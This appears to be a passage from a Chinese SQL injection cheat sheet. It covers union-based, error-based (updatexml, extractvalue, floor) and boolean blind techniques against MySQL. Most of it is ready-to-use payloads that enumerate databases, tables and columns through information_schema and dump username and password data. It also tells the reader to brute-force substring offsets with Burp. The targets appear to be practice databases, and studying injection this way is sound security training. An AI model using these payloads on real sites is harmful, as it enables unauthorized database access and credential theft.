条件: 页面必须有显示位 判断列数: 1’ order by 3-- - 不存在返回错误 判断显示位: -1’ union select 1,2,3-- - 查看数据库: -1’ union select user(),database(),version()-- - 查看数据库有哪些表(爆数据表)table_schema='数据库名’ -1’ union select 1,(select group_concat(table_name) from information_schema.tables where table_schema=‘security’),3-- - 查看对应表有哪些列(爆字段)table_name='指定表名’ -1’ union select 1,(select group_concat(column_name) from information_schema.columns where table_schema=‘security’ and table_name=‘users’),3-- - 查看账号密码信息(数据拖库)username,password指定列,security.users指定库表 -1’ union select 1,(select group_concat(concat_ws(0x7e,username,password))from security.users),3-- - 数据脱库效果
基于错误显示的sql注入(报错注入)
条件: 必须有错误回显 利用的函数 1.updatexml(arg1,arg2,arg3) 改变文档中符合条件的节点的值,arg1位xml文档对象的名称,arg2为xpath格式的字符串,arg3,String格式,替换查找到的符合条件的数据。 语句:select updatexml(1,concat(0x7e,(select user()),0x7e),1) 返回结果:XPATH syntax error: 'root@localhost’ 2.extractvalue(arg1,arg2) 从目标XML中返回包含所查询值的字符串,arg1为是String格式,为XML文档对象的名称。arg2为Xpath格式的字符串。 语句:select extractvalue(1,concat(0x7e,(select user()),0x7e)) 返回结果:XPATH syntax error: 'root@localhost’ 3.floor(arg1) 函数只返回arg1整数部分,小数部分舍弃。 语句:select 1,(select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a),3 返回结果:Duplicate entry ‘root@localhost1’ for key ‘group_key’ 4.注意 Extractvalue() updatexml()有32位长度限制 判断列数: 1’ order by 3-- - 不存在时返回错误 查看数据库 -1 and updatexml(1,concat(0x7e,(select substring(group_concat(schema_name) ,1,20)from information_schema.schemata)),1) bp抓包对substring第二个参数位置进行爆破(从哪开始截取) 查看数据库有哪些表(爆数据表) -1 and updatexml(1,concat(0x7e,(select substring(group_concat(table_name) ,1,20)from information_schema.tables where table_schema=‘lp’)),1) bp抓包对substring第二个参数位置进行爆破(从哪开始截取) 查看对应表有哪些列(爆字段) -1 and updatexml(1,concat(0x7e,(select substring(group_concat(column_name) ,1,20)from information_schema.columns where table_schema=‘lp’ and table_name=‘student’)),1) bp抓包对substring第二个参数位置进行爆破(从哪开始截取) 查看账号密码信息(数据拖库) -1 and updatexml(1,concat(0x7e,(select substring(group_concat(concat_ws(0x7e,sno,class)) ,1,20)from lp.student)),1) bp抓包对substring第二个参数位置进行爆破(从哪开始截取) 数据脱库效果
基于布尔类型的sql注入(布尔注入)
条件: 没有返回值和报错信息,根据当页面正常和不正常执行sql语句效果不同判断sql语句是否成功 先得到数据库名的长度 and (length(database()))>5 and (length(database()))=4 改变n的值依次获取数据库名的字符 and (ascii(substr(database(),n,1)))>100 获取数据库表名(先获取表名数量,再获取表名长度) and (select count(*) from information_schema.tables where table_schema=database())>5 获取表名数量 and (select length(table_name) from information_schema.tables where table_schema=database() limit 0,1)>5 获取表名长度 and (ascii(substr((select table_name from information_schema.tables where table_schema=database() limit 0,1),0,1)))>100 依次通过ascii码获取表名 获取列名(先获取列名个数,再获取列名长度,最后获取列名) and (ascii(substr((select column_name from information_schema.columns where table_name=‘users’ limit 0,1),1,1)))>100 获取数据 and (ascii(substr(( select password from users limit 0,1),1,1)))=68 注入效果